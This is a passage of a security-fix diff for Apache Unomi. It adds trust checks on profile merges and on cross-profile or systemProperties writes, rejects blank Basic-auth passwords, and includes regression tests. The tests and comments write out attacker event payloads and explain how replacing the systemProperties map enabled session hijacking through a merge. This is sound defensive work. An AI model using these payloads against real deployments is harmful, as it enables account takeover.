+ [ -n "${_unomi_value}" ] && return 0
+
+ _unomi_configured=`_unomi_configured_property "$2"`
+ case "${_unomi_configured}" in
+ # An unresolved ${env:...} placeholder is not a configured password — it expands to empty.
+ *'${'*) _unomi_configured='' ;;
+ esac
+ [ -n "${_unomi_configured}" ] && return 0
+
+ if [ "${_unomi_skip}" = "true" ]; then
+ cat >&2 <&2 < StringUtils.equals(p.getItemId(), eventProfile.getItemId()))) {
profilesToBeMerge.add(eventProfile);
@@ -327,6 +347,18 @@ private void reassignCurrentBrowsingData(Event event, List existingMerg
}
}
+ /**
+ * Whether the caller holds system access, i.e. the administrator or tenant administrator role.
+ *
+ * This is a role check, not a check of the credential that produced it: a tenant private key
+ * authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR} and therefore passes, while a tenant
+ * public API key or an unauthenticated context event does not. Identity merges rebind sessions,
+ * so they are restricted to callers that hold that role.
+ */
+ private boolean isTrustedIdentityCaller() {
+ return securityService != null && securityService.hasSystemAccess();
+ }
+
public void setProfileService(ProfileService profileService) {
this.profileService = profileService;
}
diff --git a/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java b/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
index af9a2a0912..78070d144c 100644
--- a/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
+++ b/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesAction.java
@@ -24,6 +24,9 @@
import org.apache.unomi.api.PropertyType;
import org.apache.unomi.api.actions.Action;
import org.apache.unomi.api.actions.ActionExecutor;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
+import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.EventService;
import org.apache.unomi.api.services.ProfileService;
import org.apache.unomi.persistence.spi.PropertyHelper;
@@ -46,11 +49,17 @@ public class UpdatePropertiesAction implements ActionExecutor {
public static final String TARGET_TYPE_PROFILE = "profile";
+ /** The reserved profile field that only a caller with system access may write. */
+ private static final String SYSTEM_PROPERTIES_KEY = "systemProperties";
+ /** Prefix of the profile properties that only a caller with system access may write. */
+ private static final String SYSTEM_PROPERTIES_PREFIX = SYSTEM_PROPERTIES_KEY + ".";
+
private static final Logger LOGGER = LoggerFactory.getLogger(UpdatePropertiesAction.class.getName());
private ProfileService profileService;
private EventService eventService;
private TracerService tracerService;
+ private SecurityService securityService;
public int execute(Action action, Event event) {
RequestTracer tracer = null;
@@ -64,6 +73,8 @@ public int execute(Action action, Event event) {
Profile target = event.getProfile();
String targetId = (String) event.getProperty(TARGET_ID_KEY);
String targetType = (String) event.getProperty(TARGET_TYPE_KEY);
+ // Resolved once for the whole action: the caller's roles cannot change while it runs.
+ final boolean trustedCaller = isTrustedIdentityCaller();
if (tracer != null) {
Map traceData = new HashMap<>();
@@ -74,12 +85,20 @@ public int execute(Action action, Event event) {
}
if (StringUtils.isNotBlank(targetId) && event.getProfile() != null && !targetId.equals(event.getProfile().getItemId())) {
+ if (!trustedCaller) {
+ LOGGER.warn("Refusing cross-profile property update for untrusted caller (targetId={})",
+ LogSanitizer.forLogging(targetId));
+ if (tracer != null) {
+ tracer.endOperation(false, "Untrusted caller cannot update another profile");
+ }
+ return EventService.NO_CHANGE;
+ }
target = TARGET_TYPE_PROFILE.equals(targetType) ? profileService.load(targetId) : profileService.loadPersona(targetId);
if (target == null) {
if (tracer != null) {
tracer.endOperation(false, "No profile found with Id: " + targetId);
}
- LOGGER.warn("No profile found with Id : {}. Update skipped.", targetId);
+ LOGGER.warn("No profile found with Id : {}. Update skipped.", LogSanitizer.forLogging(targetId));
return EventService.NO_CHANGE;
}
}
@@ -89,22 +108,26 @@ public int execute(Action action, Event event) {
Map propsToAdd = (HashMap) event.getProperties().get(PROPS_TO_ADD);
if (propsToAdd != null) {
- isProfileOrPersonaUpdated |= processProperties(target, propsToAdd, "setIfMissing");
+ isProfileOrPersonaUpdated |= processProperties(target, propsToAdd, "setIfMissing", trustedCaller);
}
Map propsToUpdate = (HashMap) event.getProperties().get(PROPS_TO_UPDATE);
if (propsToUpdate != null) {
- isProfileOrPersonaUpdated |= processProperties(target, propsToUpdate, "alwaysSet");
+ isProfileOrPersonaUpdated |= processProperties(target, propsToUpdate, "alwaysSet", trustedCaller);
}
Map propsToAddToSet = (HashMap) event.getProperties().get(PROPS_TO_ADD_TO_SET);
if (propsToAddToSet != null) {
- isProfileOrPersonaUpdated |= processProperties(target, propsToAddToSet, "addValues");
+ isProfileOrPersonaUpdated |= processProperties(target, propsToAddToSet, "addValues", trustedCaller);
}
List propsToDelete = (List) event.getProperties().get(PROPS_TO_DELETE);
if (propsToDelete != null) {
for (String prop : propsToDelete) {
+ if (!trustedCaller && isSystemPropertiesWrite(prop)) {
+ LOGGER.warn("Refusing systemProperties delete for untrusted caller: {}", LogSanitizer.forLogging(prop));
+ continue;
+ }
isProfileOrPersonaUpdated |= PropertyHelper.setProperty(target, prop, null, "remove");
}
}
@@ -140,11 +163,15 @@ public int execute(Action action, Event event) {
}
}
- private boolean processProperties(Profile target, Map propsMap, String strategy) {
+ private boolean processProperties(Profile target, Map propsMap, String strategy, boolean trustedCaller) {
boolean isProfileOrPersonaUpdated = false;
for (String prop : propsMap.keySet()) {
+ if (!trustedCaller && isSystemPropertiesWrite(prop)) {
+ LOGGER.warn("Refusing systemProperties update for untrusted caller: {}", LogSanitizer.forLogging(prop));
+ continue;
+ }
PropertyType propType = null;
- if (prop.startsWith("properties.") || prop.startsWith("systemProperties.")) {
+ if (prop.startsWith("properties.") || prop.startsWith(SYSTEM_PROPERTIES_PREFIX)) {
propType = profileService.getPropertyType(prop.substring(prop.indexOf('.') + 1));
} else {
propType = profileService.getPropertyType(prop);
@@ -162,6 +189,34 @@ private boolean processProperties(Profile target, Map propsMap,
return isProfileOrPersonaUpdated;
}
+
+ /**
+ * Whether a property name writes the reserved {@code systemProperties} area.
+ *
+ * Matching the {@code systemProperties.} prefix alone was not enough: the bare key
+ * {@code systemProperties} has no dot, so it slipped through, and for a flat name
+ * {@link org.apache.unomi.persistence.spi.PropertyHelper#setProperty} falls through to
+ * {@code BeanUtils.setProperty}, which invokes {@code Profile#setSystemProperties(Map)} and
+ * replaces the entire map. That is strictly more than the per-key write this gate blocks — it
+ * is enough to plant {@code mergeIdentifier} and drive the profile-merge action.
+ *
+ * @param propertyName the event-supplied property name
+ * @return true when the name targets systemProperties, whether wholesale or a single entry
+ */
+ private static boolean isSystemPropertiesWrite(String propertyName) {
+ return SYSTEM_PROPERTIES_KEY.equals(propertyName) || propertyName.startsWith(SYSTEM_PROPERTIES_PREFIX);
+ }
+ /**
+ * Whether the caller holds system access, i.e. the administrator or tenant administrator role.
+ *
+ * Cross-profile updates and {@code systemProperties.*} writes are restricted to such callers.
+ * A tenant private key authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR} and passes; a
+ * tenant public API key or an unauthenticated context event does not.
+ */
+ private boolean isTrustedIdentityCaller() {
+ return securityService != null && securityService.hasSystemAccess();
+ }
+
public void setProfileService(ProfileService profileService) {
this.profileService = profileService;
}
@@ -174,4 +229,8 @@ public void setTracerService(TracerService tracerService) {
this.tracerService = tracerService;
}
+ public void setSecurityService(SecurityService securityService) {
+ this.securityService = securityService;
+ }
+
}
diff --git a/plugins/baseplugin/src/main/resources/OSGI-INF/blueprint/blueprint.xml b/plugins/baseplugin/src/main/resources/OSGI-INF/blueprint/blueprint.xml
index 2b10af39a0..c317dc34d0 100644
--- a/plugins/baseplugin/src/main/resources/OSGI-INF/blueprint/blueprint.xml
+++ b/plugins/baseplugin/src/main/resources/OSGI-INF/blueprint/blueprint.xml
@@ -181,6 +181,7 @@
+
diff --git a/plugins/baseplugin/src/test/java/org/apache/unomi/plugins/baseplugin/actions/MergeProfilesOnPropertyActionTest.java b/plugins/baseplugin/src/test/java/org/apache/unomi/plugins/baseplugin/actions/MergeProfilesOnPropertyActionTest.java
new file mode 100644
index 0000000000..9d67ae495f
--- /dev/null
+++ b/plugins/baseplugin/src/test/java/org/apache/unomi/plugins/baseplugin/actions/MergeProfilesOnPropertyActionTest.java
@@ -0,0 +1,136 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.plugins.baseplugin.actions;
+
+import org.apache.unomi.api.Event;
+import org.apache.unomi.api.PartialList;
+import org.apache.unomi.api.Profile;
+import org.apache.unomi.api.actions.Action;
+import org.apache.unomi.api.conditions.ConditionType;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.security.UnomiRoles;
+import org.apache.unomi.api.services.DefinitionsService;
+import org.apache.unomi.api.services.EventService;
+import org.apache.unomi.api.services.PrivacyService;
+import org.apache.unomi.api.services.ProfileService;
+import org.apache.unomi.persistence.spi.PersistenceService;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyString;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+/**
+ * Regression: public/untrusted events must not rebind a session onto another profile via merge.
+ */
+@RunWith(MockitoJUnitRunner.class)
+public class MergeProfilesOnPropertyActionTest {
+
+ @Mock private ProfileService profileService;
+ @Mock private PersistenceService persistenceService;
+ @Mock private EventService eventService;
+ @Mock private DefinitionsService definitionsService;
+ @Mock private PrivacyService privacyService;
+ @Mock private SecurityService securityService;
+
+ private MergeProfilesOnPropertyAction actionExecutor;
+
+ @Before
+ public void setUp() {
+ actionExecutor = new MergeProfilesOnPropertyAction();
+ actionExecutor.setProfileService(profileService);
+ actionExecutor.setPersistenceService(persistenceService);
+ actionExecutor.setEventService(eventService);
+ actionExecutor.setDefinitionsService(definitionsService);
+ actionExecutor.setPrivacyService(privacyService);
+ actionExecutor.bindSecurityService(securityService);
+ actionExecutor.setMaxProfilesInOneMerge("50");
+
+ when(definitionsService.getConditionType("profilePropertyCondition")).thenReturn(new ConditionType());
+ when(securityService.hasSystemAccess()).thenReturn(false);
+ }
+
+ @Test
+ public void untrustedCaller_cannotMergeIntoExistingVictimProfile() {
+ Profile attacker = new Profile("attacker");
+ Profile victim = new Profile("victim");
+ victim.getSystemProperties().put("mergeIdentifier", "victim@example.com");
+
+ when(persistenceService.query(any(), anyString(), eq(Profile.class), anyInt(), anyInt()))
+ .thenReturn(new PartialList<>(new ArrayList<>(Collections.singletonList(victim)), 0, 1, 1, PartialList.Relation.EQUAL));
+
+ Event event = new Event("login", null, attacker, "systemscope", null, null, null, new Date(), true);
+ Action action = mergeAction("victim@example.com");
+
+ int changes = actionExecutor.execute(action, event);
+
+ // May write mergeIdentifier onto the attacker profile, but must not rebind to victim
+ assertNotEquals(EventService.PROFILE_UPDATED + EventService.SESSION_UPDATED, changes);
+ assertEquals("attacker", event.getProfile().getItemId());
+ verify(profileService, never()).mergeProfiles(any(), any());
+ }
+
+ @Test
+ public void trustedTenantAdmin_canMergeIntoExistingProfile() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+
+ Profile caller = new Profile("caller");
+ Profile victim = new Profile("victim");
+ victim.setProperty("firstVisit", new Date(0));
+ caller.setProperty("firstVisit", new Date());
+
+ when(persistenceService.query(any(), anyString(), eq(Profile.class), anyInt(), anyInt()))
+ .thenReturn(new PartialList<>(new ArrayList<>(Collections.singletonList(victim)), 0, 1, 1, PartialList.Relation.EQUAL));
+ when(profileService.mergeProfiles(eq(victim), any())).thenReturn(victim);
+ when(privacyService.isRequireAnonymousBrowsing(any(Profile.class))).thenReturn(false);
+ when(privacyService.isRequireAnonymousBrowsing("victim")).thenReturn(false);
+
+ Event event = new Event("login", null, caller, "systemscope", null, null, null, new Date(), true);
+ Action action = mergeAction("victim@example.com");
+
+ int changes = actionExecutor.execute(action, event);
+
+ assertEquals(EventService.PROFILE_UPDATED + EventService.SESSION_UPDATED, changes);
+ assertEquals("victim", event.getProfile().getItemId());
+ verify(profileService).mergeProfiles(eq(victim), any());
+ }
+
+ private static Action mergeAction(String mergeValue) {
+ Action action = new Action();
+ Map params = new HashMap<>();
+ params.put("mergeProfilePropertyName", "mergeIdentifier");
+ params.put("mergeProfilePropertyValue", mergeValue);
+ action.setParameterValues(params);
+ return action;
+ }
+}
diff --git a/plugins/baseplugin/src/test/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesActionTest.java b/plugins/baseplugin/src/test/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesActionTest.java
new file mode 100644
index 0000000000..5f77b847ed
--- /dev/null
+++ b/plugins/baseplugin/src/test/java/org/apache/unomi/plugins/baseplugin/actions/UpdatePropertiesActionTest.java
@@ -0,0 +1,193 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.plugins.baseplugin.actions;
+
+import org.apache.unomi.api.Event;
+import org.apache.unomi.api.Profile;
+import org.apache.unomi.api.actions.Action;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.security.UnomiRoles;
+import org.apache.unomi.api.services.EventService;
+import org.apache.unomi.api.services.ProfileService;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.junit.Assert.assertEquals;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+/**
+ * Regression: untrusted events must not update another profile or systemProperties.
+ */
+@RunWith(MockitoJUnitRunner.class)
+public class UpdatePropertiesActionTest {
+
+ @Mock private ProfileService profileService;
+ @Mock private EventService eventService;
+ @Mock private SecurityService securityService;
+
+ private UpdatePropertiesAction actionExecutor;
+
+ @Before
+ public void setUp() {
+ actionExecutor = new UpdatePropertiesAction();
+ actionExecutor.setProfileService(profileService);
+ actionExecutor.setEventService(eventService);
+ actionExecutor.setSecurityService(securityService);
+
+ when(securityService.hasSystemAccess()).thenReturn(false);
+ }
+
+ @Test
+ public void untrustedCaller_cannotUpdateAnotherProfile() {
+ Profile caller = new Profile("caller");
+ Map updateMap = new HashMap<>();
+ updateMap.put("properties.email", "pwned");
+ Map eventProps = new HashMap<>();
+ eventProps.put(UpdatePropertiesAction.TARGET_ID_KEY, "victim");
+ eventProps.put(UpdatePropertiesAction.TARGET_TYPE_KEY, UpdatePropertiesAction.TARGET_TYPE_PROFILE);
+ eventProps.put(UpdatePropertiesAction.PROPS_TO_UPDATE, updateMap);
+
+ Event event = new Event("updateProperties", null, caller, "systemscope", null, null, eventProps, new Date(), true);
+ Action action = new Action();
+
+ int changes = actionExecutor.execute(action, event);
+
+ assertEquals(EventService.NO_CHANGE, changes);
+ verify(profileService, never()).load(any(String.class));
+ verify(profileService, never()).save(any(Profile.class));
+ }
+
+ @Test
+ public void untrustedCaller_cannotWriteSystemProperties() {
+ Profile caller = new Profile("caller");
+ Map updateMap = new HashMap<>();
+ updateMap.put("systemProperties.mergeIdentifier", "stolen");
+ Map eventProps = new HashMap<>();
+ eventProps.put(UpdatePropertiesAction.PROPS_TO_UPDATE, updateMap);
+
+ Event event = new Event("updateProperties", null, caller, "systemscope", null, null, eventProps, new Date(), true);
+
+ int changes = actionExecutor.execute(new Action(), event);
+
+ assertEquals(EventService.NO_CHANGE, changes);
+ assertEquals(null, caller.getSystemProperties().get("mergeIdentifier"));
+ }
+
+ /**
+ * The gate matched on the {@code systemProperties.} prefix only, so the exact key
+ * {@code systemProperties} slipped past it. That is not a harmless near-miss: for a flat name
+ * PropertyHelper falls through to {@code BeanUtils.setProperty}, which calls
+ * {@code Profile#setSystemProperties(Map)} and replaces the whole map — a superset of the
+ * per-key write the gate exists to block, and enough to plant {@code mergeIdentifier} and drive
+ * the profile-merge action.
+ */
+ @Test
+ public void untrustedCaller_cannotReplaceTheWholeSystemPropertiesMap() {
+ Profile caller = new Profile("caller");
+ caller.getSystemProperties().put("mergeIdentifier", "legitimate@example.com");
+
+ Map replacement = new HashMap<>();
+ replacement.put("mergeIdentifier", "attacker@example.com");
+ Map updateMap = new HashMap<>();
+ updateMap.put("systemProperties", replacement);
+ Map eventProps = new HashMap<>();
+ eventProps.put(UpdatePropertiesAction.PROPS_TO_UPDATE, updateMap);
+
+ Event event = new Event("updateProperties", null, caller, "systemscope", null, null, eventProps, new Date(), true);
+
+ int changes = actionExecutor.execute(new Action(), event);
+
+ assertEquals(EventService.NO_CHANGE, changes);
+ assertEquals("the untrusted caller must not replace the systemProperties map",
+ "legitimate@example.com", caller.getSystemProperties().get("mergeIdentifier"));
+ }
+
+ /**
+ * The delete mapping is not exploitable the same way - PropertyHelper's remove strategy bails out
+ * for a name with no dot - so this passes even against the unfixed gate. Kept as a guard: if that
+ * remove path ever learns to handle flat names, this catches it rather than the next reporter.
+ */
+ @Test
+ public void untrustedCaller_cannotDeleteTheWholeSystemPropertiesMap() {
+ Profile caller = new Profile("caller");
+ caller.getSystemProperties().put("mergeIdentifier", "legitimate@example.com");
+
+ Map eventProps = new HashMap<>();
+ eventProps.put(UpdatePropertiesAction.PROPS_TO_DELETE,
+ java.util.Collections.singletonList("systemProperties"));
+
+ Event event = new Event("updateProperties", null, caller, "systemscope", null, null, eventProps, new Date(), true);
+
+ actionExecutor.execute(new Action(), event);
+
+ assertEquals("the untrusted caller must not clear the systemProperties map",
+ "legitimate@example.com", caller.getSystemProperties().get("mergeIdentifier"));
+ }
+
+ /** A trusted caller is still allowed to set it, so the gate is a trust check and not a ban. */
+ @Test
+ public void trustedAdmin_mayReplaceTheSystemPropertiesMap() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+
+ Profile caller = new Profile("caller");
+ Map replacement = new HashMap<>();
+ replacement.put("mergeIdentifier", "admin-set@example.com");
+ Map updateMap = new HashMap<>();
+ updateMap.put("systemProperties", replacement);
+ Map eventProps = new HashMap<>();
+ eventProps.put(UpdatePropertiesAction.PROPS_TO_UPDATE, updateMap);
+
+ Event event = new Event("updateProperties", null, caller, "systemscope", null, null, eventProps, new Date(), true);
+
+ actionExecutor.execute(new Action(), event);
+
+ assertEquals("admin-set@example.com", caller.getSystemProperties().get("mergeIdentifier"));
+ }
+
+ @Test
+ public void trustedAdmin_canUpdateAnotherProfile() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+
+ Profile caller = new Profile("caller");
+ Profile victim = new Profile("victim");
+ when(profileService.load("victim")).thenReturn(victim);
+
+ Map updateMap = new HashMap<>();
+ updateMap.put("properties.email", "admin-set");
+ Map eventProps = new HashMap<>();
+ eventProps.put(UpdatePropertiesAction.TARGET_ID_KEY, "victim");
+ eventProps.put(UpdatePropertiesAction.TARGET_TYPE_KEY, UpdatePropertiesAction.TARGET_TYPE_PROFILE);
+ eventProps.put(UpdatePropertiesAction.PROPS_TO_UPDATE, updateMap);
+
+ Event event = new Event("updateProperties", null, caller, "systemscope", null, null, eventProps, new Date(), true);
+
+ actionExecutor.execute(new Action(), event);
+
+ verify(profileService).load("victim");
+ verify(profileService).save(victim);
+ }
+}
diff --git a/rest/src/main/java/org/apache/unomi/rest/authentication/AuthenticationFilter.java b/rest/src/main/java/org/apache/unomi/rest/authentication/AuthenticationFilter.java
index 3c59c1cf67..0e990ffaa0 100644
--- a/rest/src/main/java/org/apache/unomi/rest/authentication/AuthenticationFilter.java
+++ b/rest/src/main/java/org/apache/unomi/rest/authentication/AuthenticationFilter.java
@@ -101,17 +101,33 @@ public AuthenticationFilter(RestAuthenticationConfig restAuthenticationConfig,
TenantService tenantService,
SecurityService securityService,
ExecutionContextManager executionContextManager) {
+ this(restAuthenticationConfig, tenantService, securityService, executionContextManager, buildJaasFilter());
+ }
+
+ /**
+ * Test seam: lets a test supply a stub JAAS filter so it can assert that a credential was
+ * refused before it reached JAAS. Asserting on the response status alone proves
+ * nothing here — every refusal path in this class ends in the same 401.
+ */
+ AuthenticationFilter(RestAuthenticationConfig restAuthenticationConfig,
+ TenantService tenantService,
+ SecurityService securityService,
+ ExecutionContextManager executionContextManager,
+ JAASAuthenticationFilter jaasAuthenticationFilter) {
this.restAuthenticationConfig = restAuthenticationConfig;
this.tenantService = tenantService;
this.securityService = securityService;
this.executionContextManager = executionContextManager;
+ this.jaasAuthenticationFilter = jaasAuthenticationFilter;
+ }
- // Build wrapped jaas filter
- jaasAuthenticationFilter = new JAASAuthenticationFilter();
- jaasAuthenticationFilter.setRoleClassifier(ROLE_CLASSIFIER);
- jaasAuthenticationFilter.setRoleClassifierType(ROLE_CLASSIFIER_TYPE);
- jaasAuthenticationFilter.setContextName(CONTEXT_NAME);
- jaasAuthenticationFilter.setRealmName(REALM_NAME);
+ private static JAASAuthenticationFilter buildJaasFilter() {
+ JAASAuthenticationFilter jaasFilter = new JAASAuthenticationFilter();
+ jaasFilter.setRoleClassifier(ROLE_CLASSIFIER);
+ jaasFilter.setRoleClassifierType(ROLE_CLASSIFIER_TYPE);
+ jaasFilter.setContextName(CONTEXT_NAME);
+ jaasFilter.setRealmName(REALM_NAME);
+ return jaasFilter;
}
@Override
@@ -133,6 +149,9 @@ public void filter(ContainerRequestContext requestContext) throws IOException {
unauthorized(requestContext);
return;
}
+ if (rejectBlankBasicAuthPassword(requestContext, authHeader)) {
+ return;
+ }
try {
jaasAuthenticationFilter.filter(requestContext);
@@ -192,6 +211,9 @@ public void filter(ContainerRequestContext requestContext) throws IOException {
// For all other cases, try tenant private key first, then fall back to JAAS
String authHeader = requestContext.getHeaderString(HttpHeaders.AUTHORIZATION);
if (authHeader != null && authHeader.startsWith(BASIC_AUTH_PREFIX)) {
+ if (rejectBlankBasicAuthPassword(requestContext, authHeader)) {
+ return;
+ }
// Try tenant private key authentication first
String[] credentials = extractBasicAuthCredentials(authHeader);
if (credentials != null && credentials.length == 2) {
@@ -299,6 +321,9 @@ private void handleV2CompatibilityMode(ContainerRequestContext requestContext, S
// For private endpoints, require system administrator authentication (like V2)
String authHeader = requestContext.getHeaderString(HttpHeaders.AUTHORIZATION);
if (authHeader != null && authHeader.startsWith(BASIC_AUTH_PREFIX)) {
+ if (rejectBlankBasicAuthPassword(requestContext, authHeader)) {
+ return;
+ }
try {
jaasAuthenticationFilter.filter(requestContext);
// JAASAuthenticationFilter handles credential failures internally (calls abortWith + returns normally).
@@ -352,6 +377,45 @@ private void handleV2CompatibilityMode(ContainerRequestContext requestContext, S
unauthorized(requestContext);
}
+ /**
+ * Rejects the request when the Basic credential about to be used carries an empty password.
+ *
+ * Defence in depth against a blank administrator password (UNOMI-972). If
+ * {@code org.apache.unomi.security.root.password} is unset, Karaf resolves it to the empty
+ * string and the shipped JAAS account authenticates with an empty password. {@code bin/karaf}
+ * and the Docker entrypoint refuse to start in that state, but they cannot cover every launcher
+ * (notably {@code karaf.bat}), so an empty credential is never accepted over REST either.
+ *
+ * Deliberately called at each point where a Basic credential is actually consumed rather than
+ * once at the top of {@link #filter}: anonymous traffic on public paths — and every path in V2
+ * compatibility mode — ignores {@code Authorization} entirely, so rejecting up front would turn
+ * a stray or stale Basic header (a cached browser credential, an injecting proxy) into a 401 on
+ * a request that is supposed to succeed without authentication.
+ *
+ * @return {@code true} when the request has been aborted and the caller must return
+ */
+ private boolean rejectBlankBasicAuthPassword(ContainerRequestContext requestContext, String authHeader) {
+ if (!hasBlankBasicAuthPassword(authHeader)) {
+ return false;
+ }
+ logger.warn("Rejecting Basic authentication with an empty password");
+ unauthorized(requestContext);
+ return true;
+ }
+
+ /**
+ * Whether a Basic {@code Authorization} header carries an empty password. A missing, malformed
+ * or non-Basic header is not treated as blank here — those are rejected by the normal
+ * authentication paths instead.
+ */
+ boolean hasBlankBasicAuthPassword(String authHeader) {
+ if (authHeader == null || !authHeader.startsWith(BASIC_AUTH_PREFIX)) {
+ return false;
+ }
+ String[] credentials = extractBasicAuthCredentials(authHeader);
+ return credentials != null && credentials.length == 2 && credentials[1].isEmpty();
+ }
+
private String[] extractBasicAuthCredentials(String authHeader) {
try {
String base64Credentials = authHeader.substring(BASIC_AUTH_PREFIX.length()).trim();
diff --git a/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java b/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java
index c17076d260..c36b663dc8 100644
--- a/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java
+++ b/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java
@@ -306,7 +306,10 @@ public ContextResponse contextJSONAsPost(ContextRequest contextRequest,
contextResponse.setProfileId(eventsRequestContext.getProfile().getItemId());
if (eventsRequestContext.getSession() != null) {
contextResponse.setSessionId(eventsRequestContext.getSession().getItemId());
- } else if (sessionId != null) {
+ } else if (sessionId != null && !eventsRequestContext.isSessionRefused()) {
+ // Only echo the requested id back when it was not rejected: a refused session was
+ // never created, so reporting it would tell the client its session is live and make
+ // it replay the same id on every request.
contextResponse.setSessionId(sessionId);
}
diff --git a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
index e9e2f4f39a..5747a97228 100644
--- a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
+++ b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java
@@ -48,24 +48,19 @@ private LogSanitizer() {
* Replaces every character that is not printable ASCII (or is a log-format marker such as
* {@code \ { } % $}) with an underscore. This removes newlines, tabs and other control
* characters that could be used for log injection.
+ *
+ * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which is the one implementation
+ * of this filter, shared with the bundles outside {@code rest} that also log request-derived
+ * values. This class keeps only the REST-specific length limits and field shapes below.
+ *
+ * Note the empty-string result for {@code null} is preserved here: the exception mappers embed
+ * this in user-facing messages where the literal {@code "null"} would read as a value.
*/
static String forLogging(String input) {
if (input == null) {
return "";
}
- if (input.length() > MAX_MESSAGE_LENGTH) {
- input = input.substring(0, MAX_MESSAGE_LENGTH) + "...[truncated]";
- }
- StringBuilder sanitized = new StringBuilder(input.length());
- for (int i = 0; i < input.length(); i++) {
- char c = input.charAt(i);
- if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') {
- sanitized.append(c);
- } else {
- sanitized.append('_');
- }
- }
- return sanitized.toString();
+ return org.apache.unomi.api.utils.LogSanitizer.forLogging(input, MAX_MESSAGE_LENGTH);
}
static String url(String url) {
diff --git a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
index 5a17da207f..e9ed91e9b6 100644
--- a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
+++ b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
@@ -21,6 +21,8 @@
import org.apache.cxf.interceptor.security.RolePrefixSecurityContextImpl;
import org.apache.cxf.jaxrs.utils.JAXRSUtils;
import org.apache.unomi.api.*;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
import org.apache.unomi.api.security.TenantPrincipal;
import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.ConfigSharingService;
@@ -92,6 +94,9 @@ public class RestServiceUtilsImpl implements RestServiceUtils {
@Reference
private V2ThirdPartyConfigService v2ThirdPartyConfigService;
+ @Reference
+ private SecurityService securityService;
+
@Override
public String getProfileIdCookieValue(HttpServletRequest httpServletRequest) {
String cookieProfileId = null;
@@ -132,12 +137,56 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
}
}
- if (profileId == null) {
- // Get profile id from the cookie
- profileId = getProfileIdCookieValue(request);
+ final String requestedBodyProfileId = profileId;
+ final String cookieProfileIdAtRequest = getProfileIdCookieValue(request);
+ // Resolved once: the caller's identity cannot change during a single request, and the
+ // checks below must all agree on it.
+ final boolean trustedCaller = isTrustedProfileCaller();
+ // When a public caller presents a foreign sessionId, we must not overwrite that session.
+ String effectiveSessionId = sessionId;
+
